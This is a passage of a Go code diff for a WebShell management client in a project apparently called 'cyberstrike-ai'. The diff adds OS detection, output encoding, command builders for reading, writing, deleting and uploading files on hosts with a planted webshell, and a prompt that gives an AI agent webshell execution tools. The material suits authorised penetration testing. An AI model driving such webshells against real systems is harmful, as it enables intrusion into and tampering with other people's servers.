// - "utf-8" / "utf8":原样返回,非法字节交由 JSON 层按 U+FFFD 处理(保持原有行为)。
|
||||
// - "gbk" / "gb18030":强制按对应编码解码;失败则回退原始字节。
|
||||
//
|
||||
// 该函数对空输入直接返回空串,避免不必要的转换。
|
||||
func decodeWebshellOutput(raw []byte, encoding string) string {
|
||||
if len(raw) == 0 {
|
||||
return ""
|
||||
}
|
||||
enc := normalizeWebshellEncoding(encoding)
|
||||
switch enc {
|
||||
case "utf-8":
|
||||
return string(raw)
|
||||
case "gbk":
|
||||
if out, _, err := transform.Bytes(simplifiedchinese.GBK.NewDecoder(), raw); err == nil {
|
||||
return string(out)
|
||||
}
|
||||
return string(raw)
|
||||
case "gb18030":
|
||||
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||
return string(out)
|
||||
}
|
||||
return string(raw)
|
||||
default: // auto
|
||||
if utf8.Valid(raw) {
|
||||
return string(raw)
|
||||
}
|
||||
// GB18030 是 GBK 的超集,覆盖范围最广,auto 模式统一用它兜底
|
||||
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||
return string(out)
|
||||
}
|
||||
return string(raw)
|
||||
}
|
||||
}
|
||||
|
||||
// webshellSupportedOS 允许的 WebShell 目标操作系统(小写,空串代表 auto)
|
||||
var webshellSupportedOS = map[string]struct{}{
|
||||
"": {},
|
||||
"auto": {},
|
||||
"linux": {},
|
||||
"windows": {},
|
||||
}
|
||||
|
||||
// normalizeWebshellOS 归一化 OS 标识,未知值回退为 auto,供持久化使用
|
||||
func normalizeWebshellOS(osTag string) string {
|
||||
osTag = strings.ToLower(strings.TrimSpace(osTag))
|
||||
if _, ok := webshellSupportedOS[osTag]; !ok {
|
||||
return "auto"
|
||||
}
|
||||
if osTag == "" {
|
||||
return "auto"
|
||||
}
|
||||
return osTag
|
||||
}
|
||||
|
||||
// resolveWebshellOS 根据连接的 os 与 shellType 推断最终目标 OS(仅返回 "linux" 或 "windows")。
|
||||
// 规则:
|
||||
// - 显式 linux / windows:按用户选择。
|
||||
// - auto 或未知:asp/aspx → windows,其他 → linux。保持历史行为,平滑向后兼容。
|
||||
func resolveWebshellOS(osTag, shellType string) string {
|
||||
osTag = strings.ToLower(strings.TrimSpace(osTag))
|
||||
switch osTag {
|
||||
case "linux":
|
||||
return "linux"
|
||||
case "windows":
|
||||
return "windows"
|
||||
}
|
||||
t := strings.ToLower(strings.TrimSpace(shellType))
|
||||
if t == "asp" || t == "aspx" {
|
||||
return "windows"
|
||||
}
|
||||
return "linux"
|
||||
}
|
||||
|
||||
// quoteCmdPath 把路径按 Windows cmd.exe 规则转义。
|
||||
// 使用双引号包裹,内部双引号转义为 ""(cmd 接受的写法)。
|
||||
func quoteCmdPath(p string) string {
|
||||
if p == "" {
|
||||
return "\".\""
|
||||
}
|
||||
return "\"" + strings.ReplaceAll(p, "\"", "\"\"") + "\""
|
||||
}
|
||||
|
||||
// quotePsSingle 把字符串按 PowerShell 单引号字符串规则转义(内部 ' → '')。
|
||||
// 供 PowerShell 脚本参数使用,全脚本只用单引号,外层 cmd 再用双引号包裹即可安全传递。
|
||||
func quotePsSingle(s string) string {
|
||||
return "'" + strings.ReplaceAll(s, "'", "''") + "'"
|
||||
}
|
||||
|
||||
// quoteShellSinglePosix 把路径按 POSIX sh 单引号规则转义(内部 ' → '\'')
|
||||
func quoteShellSinglePosix(p string) string {
|
||||
if p == "" {
|
||||
return "."
|
||||
}
|
||||
return "'" + strings.ReplaceAll(p, "'", "'\\''") + "'"
|
||||
}
|
||||
|
||||
// quoteWebshellPath 按目标 OS 选择转义方案:Linux 用 POSIX 单引号,Windows 用 cmd 双引号
|
||||
func quoteWebshellPath(path, osTag string) string {
|
||||
if resolveWebshellOS(osTag, "") == "windows" {
|
||||
return quoteCmdPath(path)
|
||||
}
|
||||
return quoteShellSinglePosix(path)
|
||||
}
|
||||
|
||||
// buildWindowsPowerShellWrite 构造 Windows 端把 base64 内容一次性写入目标路径的 cmd 命令。
|
||||
// 外层走 cmd.exe 的 powershell 调用,PowerShell 脚本里只用单引号字符串,避免嵌套引号陷阱。
|
||||
func buildWindowsPowerShellWrite(path, b64 string) string {
|
||||
script := "$b=[Convert]::FromBase64String(" + quotePsSingle(b64) + ");" +
|
||||
"[IO.File]::WriteAllBytes(" + quotePsSingle(path) + ",$b)"
|
||||
return "powershell -NoProfile -NonInteractive -Command \"" + script + "\""
|
||||
}
|
||||
|
||||
// buildWindowsPowerShellAppend 构造 Windows 端把 base64 内容追加写入目标路径的 cmd 命令(用于分块上传)
|
||||
func buildWindowsPowerShellAppend(path, b64 string) string {
|
||||
script := "$b=[Convert]::FromBase64String(" + quotePsSingle(b64) + ");" +
|
||||
"$f=[IO.File]::Open(" + quotePsSingle(path) + ",[IO.FileMode]::Append,[IO.FileAccess]::Write,[IO.FileShare]::None);" +
|
||||
"try{$f.Write($b,0,$b.Length)}finally{$f.Close()}"
|
||||
return "powershell -NoProfile -NonInteractive -Command \"" + script + "\""
|
||||
}
|
||||
|
||||
// fileCommandInput 封装 buildFileCommand 的输入,避免长参数列表
|
||||
type fileCommandInput struct {
|
||||
Action string
|
||||
Path string
|
||||
TargetPath string
|
||||
Content string
|
||||
ChunkIndex int
|
||||
OS string
|
||||
ShellType string
|
||||
}
|
||||
|
||||
// buildFileCommand 根据目标 OS 与文件操作类型生成具体的远端命令字符串。
|
||||
// 同一份实现供 HTTP 入口(FileOp)与 MCP 入口(FileOpWithConnection)共用,避免双份维护。
|
||||
// 返回值第二位是用户可见的业务错误(如 "path is required")。
|
||||
func (h *WebShellHandler) buildFileCommand(in fileCommandInput) (string, error) {
|
||||
targetOS := resolveWebshellOS(in.OS, in.ShellType)
|
||||
action := strings.ToLower(strings.TrimSpace(in.Action))
|
||||
path := strings.TrimSpace(in.Path)
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
p := path
|
||||
if p == "" {
|
||||
p = "."
|
||||
}
|
||||
if targetOS == "windows" {
|
||||
return "dir /a " + quoteCmdPath(p), nil
|
||||
}
|
||||
return "ls -la " + quoteShellSinglePosix(p), nil
|
||||
|
||||
case "read":
|
||||
if path == "" {
|
||||
return "", errFileOpPathRequired
|
||||
}
|
||||
if targetOS == "windows" {
|
||||
return "type " + quoteCmdPath(path), nil
|
||||
}
|
||||
return "cat " + quoteShellSinglePosix(path), nil
|
||||
|
||||
case "delete":
|
||||
if path == "" {
|
||||
return "", errFileOpPathRequired
|
||||
}
|
||||
if targetOS == "windows" {
|
||||
return "del /q /f " + quoteCmdPath(path), nil
|
||||
}
|
||||
return "rm -f " + quoteShellSinglePosix(path), nil
|
||||
|
||||
case "mkdir":
|
||||
if path == "" {
|
||||
return "", errFileOpPathRequired
|
||||
}
|
||||
if targetOS == "windows" {
|
||||
// cmd 的 md 默认会自动创建中间目录(等价于 Linux 的 mkdir -p)
|
||||
return "md " + quoteCmdPath(path), nil
|
||||
}
|
||||
return "mkdir -p " + quoteShellSinglePosix(path), nil
|
||||
|
||||
case "rename":
|
||||
oldPath := path
|
||||
newPath := strings.TrimSpace(in.TargetPath)
|
||||
if oldPath == "" || newPath == "" {
|
||||
return "", errFileOpRenameNeedsBothPaths
|
||||
}
|
||||
if targetOS == "windows" {
|
||||
return "move /y " + quoteCmdPath(oldPath) + " " + quoteCmdPath(newPath), nil
|
||||
}
|
||||
return "mv -f " + quoteShellSinglePosix(oldPath) + " " + quoteShellSinglePosix(newPath), nil
|
||||
|
||||
case "write":
|
||||
if path == "" {
|
||||
return "", errFileOpPathRequired
|
||||
}
|
||||
// 统一策略:先把内容 base64 编码,再用目标平台对应方式解码写回,
|
||||
// 这样既能写入任意二进制/含引号的文本,又避免各家 shell 的转义地狱。
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(in.Content))
|
||||
if targetOS == "windows" {
|
||||
return buildWindowsPowerShellWrite(path, b64), nil
|
||||
}
|
||||
return "echo '" + b64 + "' | base64 -d > " + quoteShellSinglePosix(path), nil
|
||||
|
||||
case "upload":
|
||||
if path == "" {
|
||||
return "", errFileOpPathRequired
|
||||
}
|
||||
if len(in.Content) > 512*1024 {
|
||||
return "", errFileOpUploadTooLarge
|
||||
}
|
||||
if targetOS == "windows" {
|
||||
return buildWindowsPowerShellWrite(path, in.Content), nil
|
||||
}
|
||||
return "echo '" + in.Content + "' | base64 -d > " + quoteShellSinglePosix(path), nil
|
||||
|
||||
case "upload_chunk":
|
||||
if path == "" {
|
||||
return "", errFileOpPathRequired
|
||||
}
|
||||
if targetOS == "windows" {
|
||||
if in.ChunkIndex == 0 {
|
||||
return buildWindowsPowerShellWrite(path, in.Content), nil
|
||||
}
|
||||
return buildWindowsPowerShellAppend(path, in.Content), nil
|
||||
}
|
||||
redir := ">>"
|
||||
if in.ChunkIndex == 0 {
|
||||
redir = ">"
|
||||
}
|
||||
return "echo '" + in.Content + "' | base64 -d " + redir + " " + quoteShellSinglePosix(path), nil
|
||||
}
|
||||
|
||||
return "", errFileOpUnsupportedAction(action)
|
||||
}
|
||||
|
||||
// 业务错误常量,便于上层统一返回用户可见提示
|
||||
var (
|
||||
errFileOpPathRequired = simpleError("path is required")
|
||||
errFileOpRenameNeedsBothPaths = simpleError("path and target_path are required for rename")
|
||||
errFileOpUploadTooLarge = simpleError("upload content too large (max 512KB base64)")
|
||||
)
|
||||
|
||||
func errFileOpUnsupportedAction(action string) error {
|
||||
return simpleError("unsupported action: " + action)
|
||||
}
|
||||
|
||||
// simpleError 是不带堆栈的轻量错误类型,供 buildFileCommand 报可预期的参数校验错误
|
||||
type simpleError string
|
||||
|
||||
func (e simpleError) Error() string { return string(e) }
|
||||
|
||||
// WebShellHandler 代理执行 WebShell 命令(类似冰蝎/蚁剑),避免前端跨域并统一构建请求
|
||||
type WebShellHandler struct {
|
||||
logger *zap.Logger
|
||||
@@ -44,6 +326,8 @@ type CreateConnectionRequest struct {
|
||||
Method string `json:"method"`
|
||||
CmdParam string `json:"cmd_param"`
|
||||
Remark string `json:"remark"`
|
||||
Encoding string `json:"encoding"`
|
||||
OS string `json:"os"`
|
||||
}
|
||||
|
||||
// UpdateConnectionRequest 更新连接请求
|
||||
@@ -54,6 +338,8 @@ type UpdateConnectionRequest struct {
|
||||
Method string `json:"method"`
|
||||
CmdParam string `json:"cmd_param"`
|
||||
Remark string `json:"remark"`
|
||||
Encoding string `json:"encoding"`
|
||||
OS string `json:"os"`
|
||||
}
|
||||
|
||||
// ListConnections 列出所有 WebShell 连接(GET /api/webshell/connections)
|
||||
@@ -109,6 +395,8 @@ func (h *WebShellHandler) CreateConnection(c *gin.Context) {
|
||||
Method: method,
|
||||
CmdParam: strings.TrimSpace(req.CmdParam),
|
||||
Remark: strings.TrimSpace(req.Remark),
|
||||
Encoding: normalizeWebshellEncoding(req.Encoding),
|
||||
OS: normalizeWebshellOS(req.OS),
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if err := h.db.CreateWebshellConnection(conn); err != nil {
|
||||
@@ -159,6 +447,8 @@ func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
|
||||
Method: method,
|
||||
CmdParam: strings.TrimSpace(req.CmdParam),
|
||||
Remark: strings.TrimSpace(req.Remark),
|
||||
Encoding: normalizeWebshellEncoding(req.Encoding),
|
||||
OS: normalizeWebshellOS(req.OS),
|
||||
}
|
||||
if err := h.db.UpdateWebshellConnection(conn); err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
@@ -331,6 +621,8 @@ type ExecRequest struct {
|
||||
Type string `json:"type"` // php, asp, aspx, jsp, custom
|
||||
Method string `json:"method"` // GET 或 POST,空则默认 POST
|
||||
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
|
||||
Encoding string `json:"encoding"` // 响应编码:auto / utf-8 / gbk / gb18030,空则 auto
|
||||
OS string `json:"os"` // 目标操作系统:auto / linux / windows,当前 exec 不用它,保留字段便于未来扩展
|
||||
Command string `json:"command" binding:"required"`
|
||||
}
|
||||
|
||||
@@ -344,23 +636,27 @@ type ExecResponse struct {
|
||||
|
||||
// FileOpRequest 文件操作请求
|
||||
type FileOpRequest struct {
|
||||
URL string `json:"url" binding:"required"`
|
||||
Password string `json:"password"`
|
||||
Type string `json:"type"`
|
||||
Method string `json:"method"` // GET 或 POST,空则默认 POST
|
||||
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
|
||||
Action string `json:"action" binding:"required"` // list, read, delete, write, mkdir, rename, upload, upload_chunk
|
||||
Path string `json:"path"`
|
||||
TargetPath string `json:"target_path"` // rename 时目标路径
|
||||
Content string `json:"content"` // write/upload 时使用
|
||||
ChunkIndex int `json:"chunk_index"` // upload_chunk 时,0 表示首块
|
||||
URL string `json:"url" binding:"required"`
|
||||
Password string `json:"password"`
|
||||
Type string `json:"type"`
|
||||
Method string `json:"method"` // GET 或 POST,空则默认 POST
|
||||
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
|
||||
Encoding string `json:"encoding"` // 响应编码:auto / utf-8 / gbk / gb18030,空则 auto
|
||||
OS string `json:"os"` // 目标操作系统:auto / linux / windows,空则按 shellType 推断
|
||||
ConnectionID string `json:"connection_id,omitempty"` // 可选:连接 ID;服务端探活出 OS 后会回写到此连接
|
||||
Action string `json:"action" binding:"required"` // list, read, delete, write, mkdir, rename, upload, upload_chunk
|
||||
Path string `json:"path"`
|
||||
TargetPath string `json:"target_path"` // rename 时目标路径
|
||||
Content string `json:"content"` // write/upload 时使用
|
||||
ChunkIndex int `json:"chunk_index"` // upload_chunk 时,0 表示首块
|
||||
}
|
||||
|
||||
// FileOpResponse 文件操作响应
|
||||
type FileOpResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Output string `json:"output"`
|
||||
Error string `json:"error,omitempty"`
|
||||
OK bool `json:"ok"`
|
||||
Output string `json:"output"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DetectedOS string `json:"detected_os,omitempty"` // 仅在 auto 模式且探活成功时返回,前端应更新本地缓存
|
||||
}
|
||||
|
||||
func (h *WebShellHandler) Exec(c *gin.Context) {
|
||||
@@ -415,7 +711,7 @@ func (h *WebShellHandler) Exec(c *gin.Context) {
|
||||
if readErr != nil {
|
||||
h.logger.Warn("webshell exec read body", zap.Error(readErr))
|
||||
}
|
||||
output := string(out)
|
||||
output := decodeWebshellOutput(out, req.Encoding)
|
||||
httpCode := resp.StatusCode
|
||||
|
||||
c.JSON(http.StatusOK, ExecResponse{
|
||||
@@ -474,83 +770,32 @@ func (h *WebShellHandler) FileOp(c *gin.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
// 通过执行系统命令实现文件操作(与通用一句话兼容)
|
||||
var command string
|
||||
shellType := strings.ToLower(strings.TrimSpace(req.Type))
|
||||
switch req.Action {
|
||||
case "list":
|
||||
path := strings.TrimSpace(req.Path)
|
||||
if path == "" {
|
||||
path = "."
|
||||
// 若 OS 未显式配置,先发一次探活命令,识别出真实 OS 再构造文件操作命令。
|
||||
// 这解决了 "Windows + PHP + OS=auto" 场景下旧 fallback 错发 `ls -la` 导致目录列不出来的问题。
|
||||
osTag := req.OS
|
||||
detectedOS := ""
|
||||
if normalizeWebshellOS(osTag) == "auto" {
|
||||
if probed := probeWebshellOSViaExec(h.newHTTPExecFn(req.URL, req.Password, req.Type, req.Method, req.CmdParam, req.Encoding)); probed != "" {
|
||||
osTag = probed
|
||||
detectedOS = probed
|
||||
// 若前端带了 connection_id,顺带把探活结果持久化到该连接,后续刷新零成本
|
||||
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
|
||||
h.persistDetectedOS(cid, probed)
|
||||
}
|
||||
}
|
||||
if shellType == "asp" || shellType == "aspx" {
|
||||
command = "dir " + h.escapePath(path)
|
||||
} else {
|
||||
command = "ls -la " + h.escapePath(path)
|
||||
}
|
||||
case "read":
|
||||
if shellType == "asp" || shellType == "aspx" {
|
||||
command = "type " + h.escapePath(strings.TrimSpace(req.Path))
|
||||
} else {
|
||||
command = "cat " + h.escapePath(strings.TrimSpace(req.Path))
|
||||
}
|
||||
case "delete":
|
||||
if shellType == "asp" || shellType == "aspx" {
|
||||
command = "del " + h.escapePath(strings.TrimSpace(req.Path))
|
||||
} else {
|
||||
command = "rm -f " + h.escapePath(strings.TrimSpace(req.Path))
|
||||
}
|
||||
case "write":
|
||||
path := h.escapePath(strings.TrimSpace(req.Path))
|
||||
command = "echo " + h.escapeForEcho(req.Content) + " > " + path
|
||||
case "mkdir":
|
||||
path := strings.TrimSpace(req.Path)
|
||||
if path == "" {
|
||||
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for mkdir"})
|
||||
return
|
||||
}
|
||||
if shellType == "asp" || shellType == "aspx" {
|
||||
command = "md " + h.escapePath(path)
|
||||
} else {
|
||||
command = "mkdir -p " + h.escapePath(path)
|
||||
}
|
||||
case "rename":
|
||||
oldPath := strings.TrimSpace(req.Path)
|
||||
newPath := strings.TrimSpace(req.TargetPath)
|
||||
if oldPath == "" || newPath == "" {
|
||||
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path and target_path are required for rename"})
|
||||
return
|
||||
}
|
||||
if shellType == "asp" || shellType == "aspx" {
|
||||
command = "move /y " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
|
||||
} else {
|
||||
command = "mv " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
|
||||
}
|
||||
case "upload":
|
||||
path := strings.TrimSpace(req.Path)
|
||||
if path == "" {
|
||||
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload"})
|
||||
return
|
||||
}
|
||||
if len(req.Content) > 512*1024 {
|
||||
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "upload content too large (max 512KB base64)"})
|
||||
return
|
||||
}
|
||||
// base64 仅含 A-Za-z0-9+/=,用单引号包裹安全
|
||||
command = "echo " + "'" + req.Content + "'" + " | base64 -d > " + h.escapePath(path)
|
||||
case "upload_chunk":
|
||||
path := strings.TrimSpace(req.Path)
|
||||
if path == "" {
|
||||
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload_chunk"})
|
||||
return
|
||||
}
|
||||
redir := ">>"
|
||||
if req.ChunkIndex == 0 {
|
||||
redir = ">"
|
||||
}
|
||||
command = "echo " + "'" + req.Content + "'" + " | base64 -d " + redir + " " + h.escapePath(path)
|
||||
default:
|
||||
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "unsupported action: " + req.Action})
|
||||
}
|
||||
|
||||
command, cmdErr := h.buildFileCommand(fileCommandInput{
|
||||
Action: req.Action,
|
||||
Path: req.Path,
|
||||
TargetPath: req.TargetPath,
|
||||
Content: req.Content,
|
||||
ChunkIndex: req.ChunkIndex,
|
||||
OS: osTag,
|
||||
ShellType: req.Type,
|
||||
})
|
||||
if cmdErr != nil {
|
||||
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: cmdErr.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
@@ -585,27 +830,15 @@ func (h *WebShellHandler) FileOp(c *gin.Context) {
|
||||
if readErr != nil {
|
||||
h.logger.Warn("webshell fileop read body", zap.Error(readErr))
|
||||
}
|
||||
output := string(out)
|
||||
output := decodeWebshellOutput(out, req.Encoding)
|
||||
|
||||
c.JSON(http.StatusOK, FileOpResponse{
|
||||
OK: resp.StatusCode == http.StatusOK,
|
||||
Output: output,
|
||||
OK: resp.StatusCode == http.StatusOK,
|
||||
Output: output,
|
||||
DetectedOS: detectedOS,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WebShellHandler) escapePath(p string) string {
|
||||
if p == "" {
|
||||
return "."
|
||||
}
|
||||
// 简单转义空格与敏感字符,避免命令注入
|
||||
return "'" + strings.ReplaceAll(p, "'", "'\\''") + "'"
|
||||
}
|
||||
|
||||
func (h *WebShellHandler) escapeForEcho(s string) string {
|
||||
// 仅用于 write:base64 写入更安全,这里简单用单引号包裹
|
||||
return "'" + strings.ReplaceAll(s, "'", "'\"'\"'") + "'"
|
||||
}
|
||||
|
||||
// ExecWithConnection 在指定 WebShell 连接上执行命令(供 MCP/Agent 等非 HTTP 调用)
|
||||
func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) {
|
||||
if conn == nil {
|
||||
@@ -643,7 +876,7 @@ func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection,
|
||||
if readErr != nil {
|
||||
h.logger.Warn("webshell ExecWithConnection read body", zap.Error(readErr))
|
||||
}
|
||||
return string(out), resp.StatusCode == http.StatusOK, ""
|
||||
return decodeWebshellOutput(out, conn.Encoding), resp.StatusCode == http.StatusOK, ""
|
||||
}
|
||||
|
||||
// FileOpWithConnection 在指定 WebShell 连接上执行文件操作(供 MCP/Agent 调用),支持 list / read / write
|
||||
@@ -652,40 +885,38 @@ func (h *WebShellHandler) FileOpWithConnection(conn *database.WebShellConnection
|
||||
return "", false, "connection is nil"
|
||||
}
|
||||
action = strings.ToLower(strings.TrimSpace(action))
|
||||
shellType := strings.ToLower(strings.TrimSpace(conn.Type))
|
||||
if shellType == "" {
|
||||
shellType = "php"
|
||||
}
|
||||
var command string
|
||||
// MCP 入口仅开放 list / read / write 三种动作,与工具文档的承诺保持一致
|
||||
switch action {
|
||||
case "list":
|
||||
if path == "" {
|
||||
path = "."
|
||||
}
|
||||
if shellType == "asp" || shellType == "aspx" {
|
||||
command = "dir " + h.escapePath(strings.TrimSpace(path))
|
||||
} else {
|
||||
command = "ls -la " + h.escapePath(strings.TrimSpace(path))
|
||||
}
|
||||
case "read":
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" {
|
||||
return "", false, "path is required for read"
|
||||
}
|
||||
if shellType == "asp" || shellType == "aspx" {
|
||||
command = "type " + h.escapePath(path)
|
||||
} else {
|
||||
command = "cat " + h.escapePath(path)
|
||||
}
|
||||
case "write":
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" {
|
||||
return "", false, "path is required for write"
|
||||
}
|
||||
command = "echo " + h.escapeForEcho(content) + " > " + h.escapePath(path)
|
||||
case "list", "read", "write":
|
||||
// 支持的动作
|
||||
default:
|
||||
return "", false, "unsupported action: " + action + " (supported: list, read, write)"
|
||||
}
|
||||
|
||||
// 若连接的 OS 为 auto,先探活并持久化,避免 AI/MCP 每次都对 Windows 发 `ls -la`
|
||||
osTag := conn.OS
|
||||
if normalizeWebshellOS(osTag) == "auto" {
|
||||
if probed := probeWebshellOSViaExec(func(cmd string) (string, bool) {
|
||||
out, exOk, _ := h.ExecWithConnection(conn, cmd)
|
||||
return out, exOk
|
||||
}); probed != "" {
|
||||
osTag = probed
|
||||
conn.OS = probed // 本次请求内使用探活结果
|
||||
h.persistDetectedOS(conn.ID, probed)
|
||||
}
|
||||
}
|
||||
|
||||
command, cmdErr := h.buildFileCommand(fileCommandInput{
|
||||
Action: action,
|
||||
Path: path,
|
||||
TargetPath: targetPath,
|
||||
Content: content,
|
||||
OS: osTag,
|
||||
ShellType: conn.Type,
|
||||
})
|
||||
if cmdErr != nil {
|
||||
return "", false, cmdErr.Error()
|
||||
}
|
||||
useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET"
|
||||
cmdParam := strings.TrimSpace(conn.CmdParam)
|
||||
if cmdParam == "" {
|
||||
@@ -714,5 +945,5 @@ func (h *WebShellHandler) FileOpWithConnection(conn *database.WebShellConnection
|
||||
if readErr != nil {
|
||||
h.logger.Warn("webshell FileOpWithConnection read body", zap.Error(readErr))
|
||||
}
|
||||
return string(out), resp.StatusCode == http.StatusOK, ""
|
||||
return decodeWebshellOutput(out, conn.Encoding), resp.StatusCode == http.StatusOK, ""
|
||||
}
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
)
|
||||
|
||||
// WebshellSkillHintDefault 对话页 / Eino 单代理共用的 Skills 说明,放在 webshell 上下文末尾,
|
||||
// 供 AI 选择 skill 加载入口时参考。
|
||||
const WebshellSkillHintDefault = "Skills 包请使用「多代理 / Eino DeepAgent」会话中的内置 `skill` 工具渐进加载。"
|
||||
|
||||
// WebshellSkillHintMultiAgent 多代理 / Eino 多代理准备阶段使用的 Skills 说明
|
||||
const WebshellSkillHintMultiAgent = "Skills 包请使用 Eino 多代理内置 `skill` 工具。"
|
||||
|
||||
// webshellAssistantToolList AI 助手在 WebShell 上下文下允许使用的工具清单(展示给模型用)。
|
||||
// 注意:此处只是展示字符串,真正的权限限制是在调用方设置的 roleTools 切片里。
|
||||
const webshellAssistantToolList = "webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base"
|
||||
|
||||
// BuildWebshellAssistantContext 根据连接信息与用户原始消息组装 AI 助手的上下文提示词。
|
||||
// 上下文包含:连接 ID、备注、目标系统(及对应命令集建议)、响应编码、可用工具清单、Skills 加载入口、
|
||||
// 以及最终的用户请求。调用方只需要决定 skillHint 的文案(默认使用 WebshellSkillHintDefault)。
|
||||
//
|
||||
// 之所以把这段逻辑抽到共享函数里,是为了避免 agent.go / multi_agent_prepare.go 等多处复制粘贴,
|
||||
// 并确保当我们升级 OS / Encoding 文案时只需要改一处、测一处、同步生效。
|
||||
func BuildWebshellAssistantContext(conn *database.WebShellConnection, skillHint, userMsg string) string {
|
||||
if conn == nil {
|
||||
// 兜底:调用方已保证 conn 非 nil,这里只是防御性返回原消息
|
||||
return userMsg
|
||||
}
|
||||
remark := conn.Remark
|
||||
if remark == "" {
|
||||
remark = conn.URL
|
||||
}
|
||||
|
||||
targetOS := resolveWebshellOS(conn.OS, conn.Type) // 归一为 "linux" / "windows"
|
||||
encoding := normalizeWebshellEncoding(conn.Encoding)
|
||||
if skillHint == "" {
|
||||
skillHint = WebshellSkillHintDefault
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.Grow(512 + len(userMsg))
|
||||
|
||||
b.WriteString("[WebShell 助手上下文] 连接 ID:")
|
||||
b.WriteString(conn.ID)
|
||||
b.WriteString(",备注:")
|
||||
b.WriteString(remark)
|
||||
b.WriteByte('\n')
|
||||
|
||||
// 目标系统:明确告诉 AI 能用/不能用的命令集,避免它对着 Windows 发 ls/cat/rm
|
||||
b.WriteString("- 目标系统:")
|
||||
b.WriteString(describeTargetOSForPrompt(targetOS))
|
||||
b.WriteByte('\n')
|
||||
|
||||
// 响应编码:仅在非 auto 时显式告知,auto 模式由后端自适应,不打扰模型
|
||||
if encHint := describeEncodingForPrompt(encoding); encHint != "" {
|
||||
b.WriteString("- 响应编码:")
|
||||
b.WriteString(encHint)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
|
||||
// 工具清单 & connection_id 约束:保持旧有表达,AI 已熟悉
|
||||
b.WriteString("可用工具(仅在该连接上操作时使用,connection_id 填 \"")
|
||||
b.WriteString(conn.ID)
|
||||
b.WriteString("\"):")
|
||||
b.WriteString(webshellAssistantToolList)
|
||||
b.WriteString("。")
|
||||
b.WriteString(skillHint)
|
||||
b.WriteString("\n\n用户请求:")
|
||||
b.WriteString(userMsg)
|
||||
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// describeTargetOSForPrompt 返回某个 OS 对应的中文描述 + 推荐命令集 + 反例,
|
||||
// 命令列表覆盖文件管理最常用的 6 类动作(查看/读/删/改名/建目录/查找),让 AI 能直接照抄。
|
||||
func describeTargetOSForPrompt(targetOS string) string {
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
return "Windows(推荐 cmd/PowerShell:dir /a、type、del /q /f、move /y、md、ren;" +
|
||||
"查找文件用 `dir /s /b 过滤词` 或 PowerShell `Get-ChildItem -Recurse`;" +
|
||||
"避免 ls / cat / rm / mv / find 等 Unix 命令,否则将返回 `不是内部或外部命令`)"
|
||||
case "linux":
|
||||
return "Linux/Unix(推荐 sh/bash:ls -la、cat、rm -f、mv、mkdir -p;" +
|
||||
"查找文件用 `find /path -name '*pattern*'`;" +
|
||||
"避免 dir、type、del、move 等 Windows 命令)"
|
||||
default:
|
||||
// 理论上不会走到这里,resolveWebshellOS 已经兜底
|
||||
return "未知(请先执行 `uname || ver` 探测再决定命令集)"
|
||||
}
|
||||
}
|
||||
|
||||
// describeEncodingForPrompt 返回响应编码的人类可读描述;auto 返回空串以减少 token。
|
||||
func describeEncodingForPrompt(encoding string) string {
|
||||
switch encoding {
|
||||
case "utf-8":
|
||||
return "UTF-8(目标原生 UTF-8,无需额外解码)"
|
||||
case "gbk":
|
||||
return "GBK(中文 Windows;后端已自动转码为 UTF-8 返回,若仍出现大量 \\uFFFD 替换字符说明命令失败或编码识别错误)"
|
||||
case "gb18030":
|
||||
return "GB18030(后端已自动转码为 UTF-8 返回)"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
)
|
||||
|
||||
func TestBuildWebshellAssistantContext_WindowsExplicit(t *testing.T) {
|
||||
conn := &database.WebShellConnection{
|
||||
ID: "ws_win01",
|
||||
Remark: "IIS Windows 靶机",
|
||||
URL: "http://example.com/shell.php",
|
||||
Type: "php",
|
||||
OS: "windows",
|
||||
Encoding: "gbk",
|
||||
}
|
||||
got := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, "列出当前目录并告诉我 flag 在哪")
|
||||
|
||||
mustContain(t, got,
|
||||
"[WebShell 助手上下文]",
|
||||
